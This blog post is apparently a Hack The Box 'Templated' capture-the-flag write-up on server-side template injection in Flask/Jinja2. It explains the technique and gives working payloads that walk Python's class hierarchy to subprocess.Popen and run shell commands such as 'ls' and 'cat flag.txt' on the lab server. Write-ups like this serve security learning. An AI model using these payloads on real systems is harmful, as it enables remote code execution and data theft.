Templated--Hack the Box write up -- Web SSTI

0x00 Problem: 

We open the website, the website shows it powered by flask/Jinja2, it might be SSTI vulnerability.



0x01 Confirm the vulnerability 

We use the payload below to confirm the SSTI, it shows 16 that means this has been executed. No doubt, this is SSTI.  

178.128.40.63:32031/{{4*4}}

0x02 Background 

What is SSTI(server side template injection)?

After the server receives the user's malicious input, it will be treated as part of the content of the Web application template without any processing. During the process of target compilation and rendering, the template engine executes the statement inserted by the user that can destroy the template, which may lead to sensitive information leakage, code execution, GetShell and other problems.


Popular templates for Python:

  • Jinja2
  • django: Django uses its own template engine. We all know that Django is known for fast development, has its own good ORM, and many of its things are very coupling
  • tornado:Tornado emphasizes asynchronous, non-blocking and high concurrency.


Greatly simplified, __mro__ allows us to go back up the tree of inherited objects in the current Python environment, and __subclasses__ lets us come back down. So what's the impact on the search of a greater exploit for SSTI in Flask/Jinja2? By starting with a new-type object, e.g. type str, we can crawl up the inheritance tree to the root object class using __mro__, then crawl back down to every new-style object in the Python environment using __subclasses__. Yes, this gives us access to every class loaded in the current python environment. So, how do we leverage this new found capability?

We can test the hierarchy in the CLI. It shows a lot of buildin functions.




0x03Construct payload



http://178.128.40.63:32031/{{''.__class__.__mro__[1].__subclasses__()}}




0x04 Find the function we can use

Here is a Popen function we may make use. But we don't know the position of this, so we adjust the array number and find it is in 414



http://178.128.40.63:32031/{{''.__class__.__mro__[1].__subclasses__()[414]}} 




Then we try to make use of the function, it shows the files in the current folder. And there is a flag file in it.

http://178.128.40.63:32031{{''.__class__.__mro__[1].__subclasses__()[414]('ls',shell=True,stdout=-1).communicate()[0]}} 

0x05 Get the flag

Then we can get the flag in the flag file

http://178.128.40.63:32031/{{''.__class__.__mro__[1].__subclasses__()[414]('cat%20flag.txt',shell=True,stdout=-1).communicate()[0]}}








Popular posts from this blog

Phonebook - Hack the box Write up -- Web LDAP injection

wafwaf -- Hack The Box -- Web SQL injection

Cheat sheet for security+